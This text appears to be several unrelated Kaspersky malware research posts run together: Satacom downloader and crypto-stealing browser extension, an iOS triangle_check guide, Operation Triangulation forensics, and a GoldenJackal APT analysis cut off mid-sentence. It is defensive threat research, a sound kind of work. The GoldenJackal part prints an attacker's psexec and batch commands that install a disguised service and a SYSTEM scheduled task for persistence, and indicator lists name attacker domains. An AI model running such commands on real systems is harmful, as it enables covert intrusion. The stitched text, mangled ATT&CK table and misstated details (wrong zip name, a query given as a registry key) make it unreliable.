Kaspersky Securelist

Satacom downloader, also known as LegionLoader, is a renowned malware family that emerged in 2019. It is known to use the technique of querying DNS servers to obtain the base64-encoded URL in order to receive the next stage of another malware family currently distributed by Satacom. The Satacom malware is delivered via third-party websites. Some of these sites do not deliver Satacom themselves, but use legitimate advertising plugins that the attackers abuse to inject malicious ads into the webpages. The malicious links or ads on the sites redirect users to malicious sites such as fake file-sharing services.

In this report we cover a recent malware distribution campaign related to the Satacom downloader. The main purpose of the malware that is dropped by the Satacom downloader is to steal BTC from the victim’s account by performing web injections into targeted cryptocurrency websites. The malware attempts to do this by installing an extension for Chromium-based web browsers, which later communicates with its C2 server, whose address is stored in the BTC transaction data.

The malicious extension has various JS scripts to perform browser manipulations while the user is browsing the targeted websites, including enumeration and manipulation with cryptocurrency websites. It also has the ability to manipulate the appearance of some email services, such as Gmail, Hotmail and Yahoo, in order to hide its activity with the victim’s cryptocurrencies shown in the email notifications.

Satacom technical analysis

The initial infection begins with a ZIP archive file. It is downloaded from a website that appears to mimic a software portal that allows the user to download their desired (often cracked) software for free. The archive contains several legitimate DLLs and a malicious Setup.exe file that the user needs to execute manually to initiate the infection chain.

Various types of websites are used to spread the malware. Some of them are malicious websites with a hardcoded download link, while others have the “Download” button injected through a legitimate ad plugin. In this case, even legitimate websites may have a malicious “Download” link displayed on the webpage. At the time of writing, we saw the QUADS plugin being abused to deliver Satacom.

Websites with embedded QUADS ad plugin

The plugin is abused in the same way that other advertising networks are abused for malvertising purposes: the attackers promote ads that look like a “Download” button and redirect users to the attackers’ websites.

WP QUADS ad plugin within the website’s content

After the user clicks on the download button or link, there’s a chain of redirects that automatically takes them through various servers to reach a website masquerading as a file-sharing service to distribute the malware. In the screenshot below, we can see examples of websites that are the final destinations of the redirection chains.

Fake ‘file-sharing’ services

After the user downloads and extracts the ZIP archive, which is about 7MB in size, a few binaries, EXE and DLL files are revealed. The DLLs are legitimate libraries, but the ‘Setup.exe’ file is a malicious binary. It is about 450MB, but is inflated with null bytes to make it harder to analyze. The original size of the file without the added null bytes is about 5MB and it is an Inno Setup type file.

Null bytes added to the PE file

Inno Setup installers usually work as follows: at runtime the binary extracts a child installer to a temporary folder with the name ‘Setup.tmp’. Then it runs the child installer ‘Setup.tmp’ file that needs to communicate with the primary installer with arguments pointing to the location of the original ‘Setup.exe’ and its packages in order to retrieve the BIN data inside the ‘Setup.exe’ file for the next step of the installation.

In the case of the Satacom installer, the Setup.tmp file, once running, creates a new PE DLL file in the Temp directory. After the DLL is created, the child installer loads it into itself and runs a function from the DLL.

It then decrypts the payload of Satacom and creates a new sub-process of ‘explorer.exe’ in order to inject the malware into the ‘explorer.exe’ process.

Based on the behavior we observed, we can conclude that the malware performs a common process injection technique on the remote ‘explorer.exe’ process called process hollowing. This is a known technique used to evade detection by AV applications.

The malicious payload that’s injected into the ‘explorer.exe’ process uses the RC4 encryption implementation to decrypt its configuration data, communication strings and data for the other dropped binaries on the victim’s machine. The encrypted data is stored inside the malicious payload.

The malware uses different hardcoded keys to decrypt the data at each step. There are four different RC4 keys that the malware uses to perform its actions, first decrypting the HEX string data to use it for its initial communication purposes.

RC4 keys (left pane) and encrypted HEX strings (right pane)

In the screenshot above, the left pane shows the four RC4 hardcoded keys as HEX strings, and in the right pane we can see the HEX strings that are decrypted using the RC4 ‘config_strings’ key to get the strings for the first initialization of communication with the C2. If we decrypt the strings ourselves using the key, we get the result shown in the screenshot.

Once the HEX strings are decrypted, ‘explorer.exe’ initiates its first communication. To do so, it performs a DNS request to don-dns[.]com (a decrypted HEX string) through Google DNS (8.8.8.8, another decrypted string) and it queries for the TXT record.

DNS query for TXT record through Google to don-dns[.]com

Once the request is complete, the DNS TXT record is received as another base64-encoded RC4-encrypted string: “ft/gGGt4vm96E/jp”. Since we have all of the RC4 keys, we can try to decrypt the string with the ‘dns_RC4_key’ and get another URL as a result. This URL is where the payload is actually downloaded from.

Decrypted string of TXT record

The payload: malicious browser extension

The Satacom downloader downloads various binaries to the victim’s machine. In this campaign we observed a PowerShell script being downloaded that installs a malicious Chromium-based browser extension that targets Google Chrome, Brave and Opera.

The extension installation script is responsible for downloading the extension in a ZIP archive file from a third-party website server. The PowerShell script downloads the archived file to the computer’s Temp directory and then extracts it to a folder inside the Temp directory.

After that, the script searches for the possible locations of shortcuts for each of the targeted browsers in such places as Desktop, Quick Launch and Start Menu. It also configures the locations of the browsers’ installation files and the location of the extension on the computer.

Finally, the PS script recursively searches for any link (.LNK) file in the above locations and modifies the “Target” parameter for all existing browser shortcuts with the flag “–load-extension=[pathOfExtension]” so that the shortcut will load the browser with the malicious extension installed.

Chrome shortcut with the extension parameter

After performing this action, the script closes any browser processes that may be running on the machine, so that the next time the victim opens the browser, the extension will be loaded into the browser and run while the user is browsing the internet.

This extension installation technique allows the threat actors to add the addon to the victim’s browser without their knowledge and without uploading it to the official extension stores, such as the Chrome Store, which requires the addon to meet the store’s requirements.

Extension installation PowerShell script

Malicious extension analysis

After installation of the extension, we can analyze its functionality and features by checking specific files stored in the extension’s directory. If we take a look at the first lines of the ‘manifest.json’ file, we’ll see that the extension disguises itself by naming the addon “Google Drive,” so even when the user accesses the browser addons, the only thing they will see is an addon named “Google Drive”, which looks like just another standard Google extension installed inside the browser.

The manifest.json file settings

Another malicious extension file that always runs in the background when the user is browsing is ‘background.js’, which is responsible for initializing communication with the C2. If we take a closer look at the JavaScript code, we’ll find an interesting function call at the bottom of the script with a string variable that is the address of a bitcoin wallet.

Background.js script snippet

Looking at the script’s code, we can conclude that the extension is about to fetch another string from the hardcoded URL, into which the script inserts the bitcoin address. The JavaScript receives data in JSON format, which shows the wallet’s transaction activity, and then looks for a specific string within the latest transaction details.

JSON of the transaction details

There are two strings on the page that contain the C2 address. The “script” string is a HEX string that contains the C2 host of the malware, and the “addr” string is the Base58-encoded C2 address. The reason for using the last cryptocurrency transaction of a specific wallet to retrieve the C2 address is that the server address can be changed by the threat actors at any time. Moreover, this trick makes it harder to disable the malware’s communication with its C2 server, since disabling wallets is much more difficult than blocking or banning IPs or domains. If the C2 server is blocked or taken down, the threat actors can simply change the ‘script’ or ‘addr’ string to a different C2 server by performing a new transaction. And since the extension always checks these strings to retrieve the C2, it will always ask for the new one if it’s ever changed.

Decoded C2 address from the transaction details

The extension has several other scripts that are responsible for initializing the received commands and become functional after the C2 address is retrieved, because the scripts need to obtain some important information from the C2. For example, the C2 holds the BTC address that will be used when the BTC is transferred from the victim’s wallet to the threat actor’s wallet.

Threat actor’s BTC wallet address

To get hold of the victim’s cryptocurrency, the threat actors use web injects on the targeted websites. The web inject script is also provided by the C2 after the extension contacts it. In the following screenshot, we can see the ‘injections.js’ script from the extension, which fetches the web inject script from the C2 server.

The injections.js script

After the addon contacts the C2 server – extracted as mentioned above – the server responds with the web inject script that will be used on the targeted websites.

Webinject script from C2 server

If we take a closer look at the script, we can see that the threat actors are targeting various websites. In the version of the script shown above we can see that it targets Coinbase, Bybit, KuCoin, Huobi and Binance users.

Since the script within the C2 can be changed at any time, the threat actors can add or remove other web injection targets, as well as start targeting cryptocurrencies other than BTC, which makes this extension pretty dynamic and allows threat actors to control the malicious extension by changing the scripts.

If we look at the script, we can see that the extension performs various actions on the targeted websites. For example, it has the ability to retrieve the victims’ addresses, obtain account information, bypass 2FA, and much more. Moreover, it’s capable of transferring BTC currency from the victim’s wallet to the attackers’ wallet.

Functions from the web inject script

Looking at the full web inject script, we can conclude that the idea behind it is to steal BTC currencies from victims who have the malicious extension installed. The extension performs various actions on the account in order to remotely control it using the web inject scripts, and eventually the extension tries to withdraw the BTC currency to the threat actors’ wallet. To circumvent the 2FA settings for transactions, the web inject script uses 2FA bypass techniques.

Snippet of the BTC withdrawal function from the web inject script

Before stealing the cryptocurrency, the extension communicates with the C2 server to get the minimum BTC value. It then compares this value with the actual amount of money in the target wallet. If the wallet contains less cryptocurrency than the minimum amount received from the C2, it doesn’t withdraw any cryptocurrency from it.

Minimum amount threshold from C2

The script also performs several other checks before stealing the BTC currency. For example, it also checks the BTC to USD exchange rate.

When the amount of BTC in the target wallet meets the C2 checks, the script performs the withdrawal function to steal the BTC currency from the victim.

Performing balance check

In addition to stealing BTC, the malicious extension performs additional actions to hide its activity.

For example, the malicious extension contains scripts that target three different email services: Gmail, Hotmail and Yahoo. The idea behind the scripts is to hide the email confirmation of the transaction performed by the malicious extension.

Each script makes visual changes to the emails once the victim reaches the email service’s page. It searches for pre-defined email titles and content, and when it finds them, it simply hides them from the victim by injecting HTML code into the message body. As a result, the victim is unaware that a specific transaction transferring crypto currency to the threat actors’ wallet was made.

Extension JS targeting Gmail

In addition, the extension can manipulate email threads from the targeted websites, so if the victim opens a thread from, for example, Binance, it can change the content of the emails and display a fake email thread that looks exactly like the real one. It also contains a placeholder for desired strings that the extension can inject into the content of the message page.

Fake email thread template

The malicious extension has many other JavaScripts and it’s capable of performing additional actions. For example, it can extract information through the browser, such as the system information, cookies, browser history, screenshots of opened tabs, and even receive commands from the C2 server.

JavaScripts: requesting commands from the C2 (left pane) and taking screenshots (right pane)

The purpose of the extension is to steal BTC and manipulate targeted cryptocurrency websites and email services to make the malware as stealthy as possible, so the victim doesn’t notice any information about the fraudulent transactions. The extension can update its functionality due to the technique used to retrieve the C2 server via the last transaction of a specific BTC wallet, which can be modified at any time by making another transaction to this wallet. This allows the threat actors to change the domain URL to a different one in case it’s banned or blocked by antivirus vendors.

Victims

This campaign targets individual users around the world. According to our telemetry, in Q1 2023 users in the following countries were most frequently infected: Brazil, Algeria, Turkey, Vietnam, Indonesia, India, Egypt, Mexico.

Conclusions

Satacom is a downloader that is still running campaigns and being developed by the threat actor behind it. This threat actor continues to distribute malware families using various techniques, such as ad injection via ad plugins for WordPress websites.

The recently distributed malware, which is a side-loaded extension for Chromium-based browsers, performs actions in the browser to manipulate the content of the targeted cryptocurrency website. The main purpose of this malicious extension is to steal cryptocurrency from victims and transfer it to the threat actors’ wallet.

Moreover, since it is a browser extension, it can be installed in Chromium-based browsers on various platforms. Although the installation of the malicious extension and the infection chain described in this article are Windows-specific, if the threat actors want to target Linux and macOS users, they could easily do so, provided the victims use Chromium-based browsers.

Appendix I – Indicators of Compromise

Satacom files
0ac34b67e634e49b0f75cf2be388f244
1aa7ad7efb1b48a28c6ccf7b496c9cfd
199017082159b23decdf63b22e07a7a1

Satacom DNS
dns-beast[.]com
don-dns[.]com
die-dns[.]com

Satacom C2
hit-mee[.]com
noname-domain[.]com
don-die[.]com
old-big[.]com

Hosted PS scripts
tchk-1[.]com

Malicious extension ZIP
a7f17ed79777f28bf9c9cebaa01c8d70

Malicious extension CC
you-rabbit[.]com
web-lox[.]com

Hosted Satacom installer ZIP files
ht-specialize[.]xyz
ht-input[.]cfd
ht-queen[.]cfd
ht-dilemma[.]xyz
ht-input[.]cfd
io-strength[.]cfd
fbs-university[.]xyz
io-previous[.]xyz
io-band[.]cfd
io-strength[.]cfd
io-band[.]cfd
can-nothing[.]cfd
scope-chat[.]xyz
stroke-chat[.]click
icl-surprise[.]xyz
new-high[.]click
shrimp-clock[.]click
oo-knowledge[.]xyz
oo-station[.]xyz
oo-blue[.]click
oo-strategy[.]xyz
oo-clearly[.]click
economy-h[.]xyz
medical-h[.]click
hospital-h[.]xyz
church-h[.]click
close-h[.]xyz
thousand-h[.]click
risk-h[.]xyz
current-h[.]click
fire-h[.]xyz
future-h[.]click
moment-are[.]xyz
himself-are[.]click
air-are[.]xyz
teacher-are[.]click
force-are[.]xyz
enough-are[.]xyz
education-are[.]click
across-are[.]xyz
although-are[.]click
punishment-chat[.]click
rjjy-easily[.]xyz
guy-seventh[.]cfd

Redirectors to Satacom installer
back-may[.]com
post-make[.]com
filesend[.]live
soft-kind[.]com
ee-softs[.]com
big-loads[.]com
el-softs[.]com
softs-labs[.]com
soft-make[.]com
soft-end[.]com
soon-soft[.]com
tip-want[.]click
get-loads[.]com
new-loads[.]com
file-send[.]live
filetosend-upload[.]net
file-send[.]cc

Appendix II – MITRE ATT&CK Mapping

This table contains all the TTPs identified during analysis of the activity described in this report.

Tactic Technique Technique Name Initial Access User Execution: Malicious Link
User Execution: Malicious File T1204.001
T1204.002 Execution User Execution: Malicious File
Command and Scripting Interpreter: PowerShell T1204.002
T1059.001 Persistence Shortcut Modification
Browser Extensions T1547.009
T1176 Defense Evasion Process Injection T1055.012 Credential Access Credentials from Password Stores
Steal Web Session Cookie
Unsecured CredentialsMulti-Factor Authentication Interception T1555.003
T1539
T1552T1111 Discovery Account Discovery
Software Discovery
Security Software Discovery T1087
T1518
T1518.001 Collection Automated Collection
Screen Capture
Credentials from Password Stores
Browser Session Hijacking T1119
T1113
T1555
T1185 Command and Control Application Layer Protocol: Web Protocols
Application Layer Protocol: DNS
Dynamic Resolution T1071.001
T1071.004
T1568 Exfiltration Exfiltration Over C2 Channel T1041

In our initial blogpost about “Operation Triangulation”, we published a comprehensive guide on how to manually check iOS device backups for possible indicators of compromise using MVT. This process takes time and requires manual search for several types of indicators. To automate this process, we developed a dedicated utility to scan the backups and run all the checks. For Windows and Linux, this tool can be downloaded as a binary build, and for MacOS it can be simply installed as a Python package.

How to back up your device Windows

On Windows, the easiest way to do a backup is via iTunes:

1. Connect your device to a computer that has iTunes installed. Unlock your device and, if needed, confirm that you trust your computer.

   Window asking to trust the computer

2. Your device should now be displayed in iTunes. Right click on it and press “Back Up”.
   
3. The created backup will be saved to the %appdata%\Apple Computer\MobileSync\Backup directory.

macOS

If your macOS version is lower than Catalina (10.15), you can create a backup using iTunes, using instructions for Windows. Starting from Catalina, backups can be created through Finder:

• Connect your device to the computer and, if needed, confirm that you trust the computer.
• Your device should now be displayed in Finder. Select it and then click “Create a backup“.
• The created backup will be saved to the ~/Library/Application Support/MobileSync/Backup/ directory.

Linux

To create a backup on Linux, you will need to install the libimobiledevice library. In order to create backups of devices with the latest versions of iOS installed, you will need to compile this library from source code (you can find the build instructions in the Installation/Getting Started section).
After you install the library and connect your device to the computer, you can create a backup using the idevicebackup2 backup --full command.
During the backup process, you may need to enter your device passcode multiple times.

How to use our triangle_check utility

After you do a backup of your device using the instructions above, you will need to install and launch our triangle_check utility.

The triangle_check Python package

No matter what operating system you have, you can install the triangle_check Python package that we have published to the Python Package Index (PyPi). To do that, you need to have internet access as well as have the pip utility installed.
You can install the utility using two methods:

• From PyPI (recommended):
  Run the python -m pip install triangle_check command.
• Building from Github:
  Run the following commands:
  git clone https://github.com/KasperskyLab/triangle_check
  cd triangle_check
  python -m build
  python -m pip install dist/triangle_check-1.0-py3-none-any.whl

After installing, you can launch the utility with the following command:
python -m triangle_check path to the created backup.

Binary builds

If you have Windows or Linux, you can also use the binary builds of the triangle_check utility that we have published on GitHub. Follow the instructions below to use it:
Windows

1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
2. Launch the command prompt (cmd.exe) or PowerShell.
3. Change your directory to the one with the unpacked archive (e.g. cd %userprofile%\Downloads\triangle_check_win).
4. Launch triangle_check.exe, specifying the path to the backup as an argument (e.g. triangle_check.exe "%appdata%\Apple Computer\MobileSync\Backup\00008101-000824411441001E-20230530-143718" ).

Linux

1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
2. Launch the terminal.
3. Change your directory to the one with the unpacked archive (e.g. cd ~/Downloads/triangle_check_linux).
4. Allow the utility to be executed with the chmod +x triangle_check command.
5. Launch the utility, specifying the path to the backup as an argument (e.g. ./triangle_check ~/Desktop/my_backup/00008101-000824411441001E-20230530-143718 ).

Interpreting the results

The utility outputs “DETECTED” when it locates specific indicators of compromise, and that would mean that the device was infected.
Also, it may print out “SUSPICION” that would mean that a combination of less specific indicators points to a likely infection. Finally, if the message displayed is “No traces of compromise were identified“, then the utility did not find any signs of ‘Operation Triangulation’ compromise.

While monitoring the network traffic of our own corporate Wi-Fi network dedicated for mobile devices using the Kaspersky Unified Monitoring and Analysis Platform (KUMA), we noticed suspicious activity that originated from several iOS-based phones. Since it is impossible to inspect modern iOS devices from the inside, we created offline backups of the devices in question, inspected them using the Mobile Verification Toolkit’s mvt-ios and discovered traces of compromise.
We are calling this campaign “Operation Triangulation”, and all the related information we have on it will be collected on the Operation Triangulation page. If you have any additional details to share, please contact us: triangulation[at]kaspersky.com.

What we know so far

Mobile device backups contain a partial copy of the filesystem, including some of the user data and service databases. The timestamps of the files, folders and the database records allow to roughly reconstruct the events happening to the device. The mvt-ios utility produces a sorted timeline of events into a file called “timeline.csv”, similar to a super-timeline used by conventional digital forensic tools.
Using this timeline, we were able to identify specific artifacts that indicate the compromise. This allowed to move the research forward, and to reconstruct the general infection sequence:

• The target iOS device receives a message via the iMessage service, with an attachment containing an exploit.
• Without any user interaction, the message triggers a vulnerability that leads to code execution.
• The code within the exploit downloads several subsequent stages from the C&C server, that include additional exploits for privilege escalation.
• After successful exploitation, a final payload is downloaded from the C&C server, that is a fully-featured APT platform.
• The initial message and the exploit in the attachment is deleted

The malicious toolset does not support persistence, most likely due to the limitations of the OS. The timelines of multiple devices indicate that they may be reinfected after rebooting. The oldest traces of infection that we discovered happened in 2019. As of the time of writing in June 2023, the attack is ongoing, and the most recent version of the devices successfully targeted is iOS 15.7.
The analysis of the final payload is not finished yet. The code is run with root privileges, implements a set of commands for collecting system and user information, and can run arbitrary code downloaded as plugin modules from the C&C server.

Forensic methodology

It is important to note, that, although the malware includes portions of code dedicated specifically to clear the traces of compromise, it is possible to reliably identify if the device was compromised. Furthermore, if a new device was set up by migrating user data from an older device, the iTunes backup of that device will contain the traces of compromise that happened to both devices, with correct timestamps.

Preparation

All potential target devices must be backed up, either using iTunes, or an open-source utility idevicebackup2 (from the package libimobiledevice). The latter is shipped as a pre-built package with the most popular Linux distributions, or can be built from the source code for MacOS/Linux.
To create a backup with idevicebackup2, run the following command:
idevicebackup2 backup --full $backup_directory

You may need to enter the security code of the device several times, and the process may take several hours, depending on the amount of user data stored in it.

Install MVT

Once the backup is ready, it has to be processed by the Mobile Verification Toolkit. If Python 3 is installed in the system, run the following command:
pip install mvt

A more comprehensive installation manual is available the MVT homepage.

Optional: decrypt the backup

If the owner of the device has set up encryption for the backup previously, the backup copy will be encrypted. In that case, the backup copy has to be decrypted before running the checks:
mvt-ios decrypt-backup -d $decrypted_backup_directory $backup_directory

Parse the backup using MVT

mvt-ios check-backup -o $mvt_output_directory $decrypted_backup_directory
This command will run all the checks by MVT, and the output directory will contain several JSON and CSV files. For the methodology described in this blogpost, you will need the file called timeline.csv.

Check timeline.csv for indicators

1. The single most reliable indicator that we discovered is the presence of data usage lines mentioning the process named “BackupAgent”. This is a deprecated binary that should not appear in the timeline during regular usage of the device. However, it is important to note that there is also a binary named “BackupAgent2”, and that is not an indicator of compromise. In many cases, BackupAgent is preceded by the process “IMTransferAgent”, that downloads the attachment that happens to be an exploit, and this leads to modification of the timestamps of multiple directories in the “Library/SMS/Attachments”. The attachment is then deleted, leaving only modified directories, without actual files inside them:
   2022-09-13 10:04:11.890351Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 127) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 76281896.0, WWAN OUT: 100956502.0
   2022-09-13 10:04:54.000000Z Manifest Library/SMS/Attachments/65/05 - MediaDomain
   2022-09-13 10:05:14.744570Z Datausage BackupAgent (Bundle ID: , ID: 710) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 734459.0, WWAN OUT: 287912.0
2. There are also less reliable indicators, that may be treated as IOCs if several of them happened within a timeframe of minutes:
   • Modification of one or several files: com.apple.ImageIO.plist, com.apple.locationd.StatusBarIconManager.plist, com.apple.imservice.ids.FaceTime.plist
   • Data usage information of the services com.apple.WebKit.WebContent, powerd/com.apple.datausage.diagnostics, lockdownd/com.apple.datausage.security

   Example:
   2021-10-30 16:35:24.923368Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 31933.0, WWAN OUT: 104150.0
   2021-10-30 16:35:24.928030Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945)
   2021-10-30 16:35:24.935920Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 47743.0, WWAN OUT: 6502.0
   2021-10-30 16:35:24.937976Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946)
   2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
   2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain

   Another example: modification of an SMS attachment directory (but no attachment filename), followed by data usage of com.apple.WebKit.WebContent, followed by modification of com.apple.locationd.StatusBarIconManager.plist. All the events happened within a 1-3 minute timeframe, indicating the result of a successful zero-click compromise via an iMessage attachment, followed by the traces of exploitation and malicious activity.
   2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98 - MediaDomain
   2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
   2022-09-11 19:53:10.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
   2022-09-11 19:54:51.698609Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 77234150.0, WIFI OUT: 747603971.0 - WWAN IN: 55385088.0, WWAN OUT: 425312575.0
   2022-09-11 19:54:51.702269Z Datausage com.apple.WebKit.WebContent (Bundle ID: , ID: 1125)
   2022-09-11 19:54:53.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
   2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
   2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad - MediaDomain
   2022-06-26 18:21:50.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
   2022-06-26 18:22:03.412817Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 19488889.0, WIFI OUT: 406382282.0 - WWAN IN: 66954930.0, WWAN OUT: 1521212526.0
   2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain
   2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
   2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc - MediaDomain
   2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
   2022-03-21 21:38:08.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
   2022-03-21 21:38:23.901243Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 551604.0, WIFI OUT: 6054253.0 - WWAN IN: 0.0, WWAN OUT: 0.0
   2022-03-21 21:38:24.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain

3. An even less implicit indicator of compromise is inability to install iOS updates. We discovered malicious code that modifies one of the system settings file named com.apple.softwareupdateservicesd.plist. We observed update attempts to end with an error message “Software Update Failed. An error ocurred downloading iOS”.

Network activity during exploitation

On the network level, a successful exploitation attempt can be identified by a sequence of several HTTPS connection events. These can be discovered in netflow data enriched with DNS/TLS host information, or PCAP dumps:

• Legitimate network interaction with the iMessage service, usually using the domain names *.ess.apple.com
• Download of the iMessage attachment, using the domain names .icloud-content.com, content.icloud.com
• Multiple connections to the C&C domains, usually 2 different domains (the list of known domains follows). Typical netflow data for the C&C sessions will show network sessions with significant amount of outgoing traffic.

Network exploitation sequence, Wireshark dump

The iMessage attachment is encrypted and downloaded over HTTPS, the only implicit indicator that can be used is the amount of downloaded data that is about 242 Kb.

Encrypted iMessage attachment, Wireshark dump

C&C domains

Using the forensic artifacts, it was possible to identify the set of domain name used by the exploits and further malicious stages. They can be used to check the DNS logs for historical information, and to identify the devices currently running the malware:
addatamarket[.]net
backuprabbit[.]com
businessvideonews[.]com
cloudsponcer[.]com
datamarketplace[.]net
mobilegamerstats[.]com
snoweeanalytics[.]com
tagclick-cdn[.]com
topographyupdates[.]com
unlimitedteacup[.]com
virtuallaughing[.]com
web-trackers[.]com
growthtransport[.]com
anstv[.]net
ans7tv[.]net

GoldenJackal is an APT group, active since 2019, that usually targets government and diplomatic entities in the Middle East and South Asia. Despite the fact that they began their activities years ago, this group is generally unknown and, as far as we know, has not been publicly described.

We started monitoring the group in mid-2020 and have observed a constant level of activity that indicates a capable and stealthy actor. The main feature of this group is a specific toolset of .NET malware, JackalControl, JackalWorm, JackalSteal, JackalPerInfo and JackalScreenWatcher intended to:

• control victim machines
• spread across systems using removable drives
• exfiltrate certain files from the infected system
• steal credentials
• collect information about the local system
• collect information about users’ web activities
• take screen captures of the desktop

Based on their toolset and the attacker’s behaviour, we believe the actor’s primary motivation is espionage.

Infection vectors

We have limited visibility on their infection vectors, but during our investigations, we observed the usage of fake Skype installers and malicious Word documents.

The fake Skype installer was a .NET executable file named skype32.exe that was approximately 400 MB in size. It was a dropper containing two resources: the JackalControl Trojan and a legitimate Skype for business standalone installer. This tool was used in 2020.

The other known infection vector was a malicious document that uses the remote template injection technique to download a malicious HTML page, which exploits the Follina vulnerability.

Malicious document – first page

The document was named “Gallery of Officers Who Have Received National And Foreign Awards.docx” and appears as a legitimate circular distributed to collect information about officers decorated by Pakistan’s government. It’s worth noting that the first description of the Follina vulnerability was published on May 29, 2022 and this document appears to have been modified on June 1, two days after publication, and was first detected on June 2.

The document was configured to load an external object from a legitimate and compromised website:

hxxps://www.pak-developers[.]net/internal_data/templates/template.html!

Code snippet used to load the remote resource

The remote webpage is a modified version of a public “Proof of Concept” to exploit the Follina vulnerability. The original PoC is available on GitHub. The attacker replaced the IT_BrowseForFile variable value with the following:

Code snippet used to exploit the Follina vulnerability

The decoded string is:

Decoded script

The exploit downloads and executes an executable file hosted on the legitimate compromised website, and stores it in the following path: “%Temp%\GoogleUpdateSetup.exe”. The downloaded file is the JackalControl malware.

In other cases, we do not have a real infection vector, but we observed a system compromised during lateral movements. Specifically, we observed the attacker using the psexec utility to start a malicious batch script.

cmd /c "c:\windows\temp\install.bat > c:\windows\temp\output.txt"

The batch script performs a variety of actions, such as installing Microsoft .Net Framework 4, infecting the system with the JackalControl Trojan, and collecting information about the system.

$temp\\dnf4.exe /q /norestart tasklist sc qc "WEvMngS" sc stop "WEvMngS" sc delete "WEvMngS" sc create "WEvMngS" binpath= "\"$windir\WEvMngS.exe\" /1" displayname= "Windows Event Manager" type= own start= auto" sc description "WEvMngS" "Provides event-related methods that register routed events." sc start "WEvMngS" schtasks /delete /f /tn "\Microsoft\Windows\Diagnosis\Event Manager" schtasks /create /f /tn "\Microsoft\Windows\Diagnosis\Event Manager" /xml "$temp\\sch.xml" /ru "NT AUTHORITY\SYSTEM" sc qc "WEvMngS" schtasks /query /v /fo list /tn "\Microsoft\Windows\Diagnosis\Event Manager" tasklist netstat -aon ping -n 1 google.com ipconfig /displaydns netsh winhttp show proxy reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v

JackalControl

This is a Trojan that allows the attackers to remotely control the target machine through a set of predefined and supported commands. These are received via an HTTPS communication channel facilitated between the malware and the C2 servers, and can instruct the implant to conduct any of the following operations:

• Execute an arbitrary program with provided arguments
• Download arbitrary files to the local file system
• Upload arbitrary files from the local file system

During the last few years, the attackers updated this tool multiple times and we observed multiple variants. We are going to describe the latest version, which was observed in January 2023 (8C1070F188AE87FBA1148A3D791F2523).

The Trojan is an executable file that can be started as a standard program or as a Windows service.

It expects an argument, which can be equal to one of the following values:

• /0 : run as a standard program and contacts the C2 servers only once
• /1 : run as a standard program and contacts the C2 servers periodically
• /2 : run as a Windows service

The malware arguments and the related malware behavior change according to the variants. Some variants offer only two arguments:

• /0 run as a standard program
• /1 run as a Windows service

Other variants can install themselves with different persistence mechanisms. The malware’s execution flow is determined by the arguments provided in the command line with which it is run.

• /h0: will cause the malware to gain persistence by creating a Windows scheduled task.
• /h1: will cause the malware to gain persistence by creating a corresponding registry run key.
• /h2: will cause the malware to gain persistence by creating a Windows service.
• /r0: run as standard process (this argument is specified by the Windows scheduled task).
• /r1: run as standard process (this argument is specified by the generated registry run key value).
• /r2: run as a service (this argument is specified by the created Windows service).

Over the years the attackers have distributed different variants: some include code to maintain persistence, others were configured to run without infecting the system; and the infection procedure is usually performed by other components, such as the batch script mentioned above.

The malware starts its activities by generating a BOT_ID that is a unique value used to identify the compromised system. This value is derived from several other host-based values:

The UUID value obtained from the following WMI query:

select * from win32_computersystemproduct

The machine GUID obtained from the following registry key:

select * from win32_computersystemproduct

The list of attached drives, obtained from another WMI query, which in turn allows them to determine the ‘SerialNumber’ of ‘PHYSICALDRIVE0’:

select * from win32_diskdrive

The collected information is concatenated together in a byte array and then hashed with MD5, which is used as a seed for the creation of the BOT_ID. The algorithm used for the generation of the latter simply sums every two consecutive bytes from the resulting MD5 hash and places the resulting byte (modulus 256) as a single byte of the final BOT_ID. This logic is described in the code snippet below, taken from the malware.

Code snippet used to generate the BOT_ID

The resulting BOT_ID is used also to initialize the DES key and IV, which are then used to encrypt communication with the C2.

The malware communicates using HTTP POST requests where data arguments will be carried in encoded form as part of the request’s body. The overall request structure will then appear as follows:

